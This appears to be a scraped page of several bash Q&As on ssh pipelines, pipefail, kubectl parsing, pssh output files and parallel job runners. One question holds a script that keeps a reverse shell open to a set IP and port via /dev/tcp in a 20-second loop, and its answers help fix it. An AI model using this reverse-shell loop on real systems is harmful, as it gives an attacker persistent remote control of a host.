If I do the following, and the network is down, then the zero case will be executed, which it shouldn't.
case "$(ssh -n $host zfs list -t snapshot -o name -H | grep "tank/fs" | wc -l | awk '{print $1}')" in
0) # do something
;;
1) # do something else
;;
*) # fail
esac
Earlier in the script I check that I can SSH to $host, but today I found this problem, where the network failed right after my check.
If I check the return value from the SSH command, then I will always get the return value from awk as it is executed last.
Question
How do I insure that I actually count zero lines that zfs outputted, and not zero lines from a failed SSH connection?
Say:
set -o pipefail
at the beginning of your script (or before the case statement).
Moreover, check for the return code of the command before executing the case statement:
set -o pipefail
$value=$(ssh -n $host zfs list -t snapshot -o name -H | grep "tank/fs" | wc -l | awk '{print $1}')
if [ $? == 0 ]; then
case $value in
...
esac
fi
From the manual:
pipefail
If set, the return value of a pipeline is the value of the last
(rightmost) command to exit with a non-zero status, or zero if all
commands in the pipeline exit successfully. This option is disabled by
default.
How about this (commands after ssh shouldn't get executed locally):
"$(ssh -n $host 'zfs list -t snapshot -o name -H | grep "tank/fs" | wc -l | awk \'{print $1}\')'"
Note how I single quoted the command for ssh to run on the remote machine. Also escaped the ' for awk like \'. Check the return value of the call and only act when it returns success.
Related
I am getting an output from a shell command, and want to incorporate the first column of a matching line into a second command. Here is what I have, and it works:
kubectl get pods -n system | while read string; do
if [[ "$string" == my-pod-* && "$string" == *Running* ]]; then
# echo $string
read -ra ADDR <<< "$string"
echo
echo "--- Reading logs for ${ADDR[0]} ---"
# desired output: kubectl -n system logs my-pod-123 --tail=5 -f
kubectl -n system logs ${ADDR[0]} --tail=5 -f
fi
done
the output from first command would look something like this:
name status namespace running
my-pod-123 Running system 4h31m #<<I want this one
another-pod-5 Running system 5h15m
my-pod-023 Terminating system 8h05m
given that the output will contain only one match, is there a shorter way to do this without looping like this? Thanks in advance for helping me improve my Bash skills as this seems very clumsy.
You may use awk like this:
name=$(kubectl get pods -n system | awk '/^my-pod.*Running/{print $1}')
[[ -n $name ]] && kubectl -n system logs "$name" --tail=5 -f
awk command will match pattern my-pod.*Running at the start of a line and if it is found then it will print first column. We store that in variable name.
If $name is not empty then we call kubectl -n system logs using that value.
How about grep?
wanted=$(kubectl get pods -n system | grep 'my-pod-.*Running')
Can do error checking at the same time:
if ! wanted=$(kubectl get pods -n system | grep 'my-pod-.*Running'); then
echo "Error: no running my-pods" >&2
fi
I'm trying to write a script that builds a list of nodes then ssh into the first node of that list
and runs a checknodes.sh script which it's self is just a for i loop that calls checknode.sh
The first 2 lines seems to work ok, the list builds successfully, but then I get either get just the echo line of checknodes.sh to print out or an error saying cat: gpcnodes.txt: No such file or directory
MYSCRIPT.sh:
#gets the master node for the job
MASTERNODE=`qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' | head -n 1`
#builds list of nodes in job
ssh -qt $MASTERNODE "qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' > /users/issues/slow_job_starts/gpcnodes.txt"
ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/
ssh -qt $MASTERNODE /users/issues/slow_job_starts/checknodes.sh
checknodes.sh
for i in `cat gpcnodes.txt `
do
echo "### $i ###"
ssh -qt $i /users/issues/slow_job_starts/checknode.sh
done
checknode.sh
str=`hostname`
cd /tmp
time perf record qhost >/dev/null 2>&1 | sed -e 's/^/${str}/'
perf report --pretty=raw | grep % | head -20 | grep -c kernel.kallsyms | sed -e "s/^/`hostname`:/"
When ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/ is finished, the changed directory is lost.
With the backquotes replaced by $(..) (not an error here, but get used to it), the script would be something like
for i in $(cat /users/issues/slow_job_starts/gpcnodes.txt)
do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done
or better
while read -r i; do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done < /users/issues/slow_job_starts/gpcnodes.txt
Perhaps you would also like to change your last script (start with cd /users/issues/slow_job_starts)
You will find more problems, like sed -e 's/^/${str}/' (the ${str} inside single quotes won't be replaced by a host), but this should get you started.
EDIT:
I added option -n to the ssh call.
Redirects stdin from /dev/null (actually, prevents reading from stdin).
Without this option only one node is checked.
I am working on a bash script that uses pssh to run external commands, then join the output of the commands with the IP of each server. pssh has an option -o that writes a file for each server into a specified directory, but if the commands do not run, you just have an empty file. What I am having issues with is updating these empty files with something like "Server Unreachable" so that I know there was a connection issue reaching the server and to not cause problems with the rest of the script.
Here is what I have so far:
#!/bin/bash
file="/home/user/tools/test-host"
now=$(date +"%F")
folder="./cnxhwinfo-$now/"
empty="$(find ./cnxhwinfo-$now/ -maxdepth 1 -type f -name '*' -size 0 -printf '%f%2d')"
command="echo \$(uptime | awk -F'( |,|:)+' '{d=h=m=0; if (\$7==\"min\") m=\$6; else {if (\$7~/^day/) {d=\$6;h=\$8;m=\$9} else {h=\$6;m=\$7}}} {print d+0,\"days\",h+0,\"hours\",m+0,\"minutes\"}'), \$(hostname | awk '{print \$1}'), \$(sudo awk -F '=' 'FNR == 2 {print \$2}' /etc/connex-release/version.txt), \$(lscpu | awk -F: 'BEGIN{ORS=\", \";} NR==4 || NR==6 || NR==15 {print \$2}' | sed 's/ *//g') \$(free -k | awk '/Mem:/{print \$2}'), \$(df -Ph | awk '/var_lib/||/root/ {print \$2,\",\"\$5,\",\"}')"
pssh -h $file -l user -t 10 -i -o /home/user/tools/cnxhwinfo-$now -x -tt $command
echo "Server Unreachable" | tee "./cnxhwinfo-$now/$empty"
ls ./cnxhwinfo-$now >> ./cnx-data-$now
cat ./cnxhwinfo-$now/* >> ./cnx-list-$now
paste -d, ./cnx-data-$now ./cnx-list-$now >>./cnx-data-"$(date +"%F").csv"
I was trying to use find to locate the empty files and write "Server" unavailable using tee with this:
echo "Server Unreachable" | tee "./cnxhwinfo-$now/$empty"
if the folder specified doesn't already exist i get this error:
tee: ./cnxhwinfo-2019-09-03/: Is a directory
And if it does exist (ie, i run the script again), it instead creates a file named after the IP addresses returned by the find command, like this:
192.168.1.2 192.168.1.3 192.168.1.4 1
I've also tried:
echo "Server Unreachable" | tee <(./cnxhwinfo-$now/$empty)
The find command outputs the IP addresses on a single line with a space in between each one, so I thought that would be fine for tee to use, but I feel like I am either running into syntax issues, or am going about this the wrong way. I have another version of this same script that uses regular ssh and works great, just much slower than using pssh.
empty should be an array, assuming none of the file names will contain any whitespace in their names.
readarray -t empty < <(find ...)
echo "Server unreachable" | (cd ./cnxhwinfo-$now/; tee "${empty[#]}" > /dev/null)
Otherwise, you are building a single file name by concatenating the empty file names.
So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.
I'm trying to get this function for making it easy to parallelize my bash scripts working. The idea is simple; instead of running each command sequentially, I pipe the command I want to run to this function and it does while read line; run the jobs in the bg for me and take care of logistics.... it doesn't work though. I added set -x by where stuff's executed and it looks like I'm getting weird quotes around the stuff I want executed... what should I do?
runParallel () {
while read line
do
while [ "`jobs | wc -l`" -eq 8 ]
do
sleep 2
done
{
set -x
${line}
set +x
} &
done
while [ "`jobs | wc -l`" -gt 0 ]
do
sleep 1
jobs >/dev/null 2>/dev/null
echo sleeping
done
}
for H in `ypcat hosts | grep fmez | grep -v mgmt | cut -d\ -f2 | sort -u`
do
echo 'ping -q -c3 $H 2>/dev/null 1>/dev/null && echo $H - UP || echo $H - DOWN'
done | runParallel
When I run it, I get output like the following:
> ./myscript.sh
+ ping -q -c3 '$H' '2>/dev/null' '1>/dev/null' '&&' echo '$H' - UP '||' echo '$H' - DOWN
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
+ set +x
sleeping
>
The quotes in the set -x output are not the problem, at most they are another result of the problem. The main problem is that ${line} is not the same as eval ${line}.
When a variable is expanded, the resulting words are not treated as shell reserved constructs. And this is expected, it means that eg.
A="some text containing > ; && and other weird stuff"
echo $A
does not shout about invalid syntax but prints the variable value.
But in your function it means that all the words in ${line}, including 2>/dev/null and the like, are passed as arguments to ping, which set -x output nicely shows, and so ping complains.
If you want to execute from variables complicated commandlines with redirections and conditionals, you will have to use eval.
If I'm understanding this correctly, you probably don't want single quotes in your echo command. Single quotes are literal strings, and don't interpret your bash variable $H.
Like many users of GNU Parallel you seem to have written your own parallelizer.
If you have GNU Parallel http://www.gnu.org/software/parallel/ installed you can do this:
cat hosts | parallel -j8 'ping -q -c3 {} 2>/dev/null 1>/dev/null && echo {} - UP || echo {} - DOWN'
You can install GNU Parallel simply by:
wget http://git.savannah.gnu.org/cgit/parallel.git/plain/src/parallel
chmod 755 parallel
cp parallel sem
Watch the intro videos for GNU Parallel to learn more:
https://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Put your command in an array.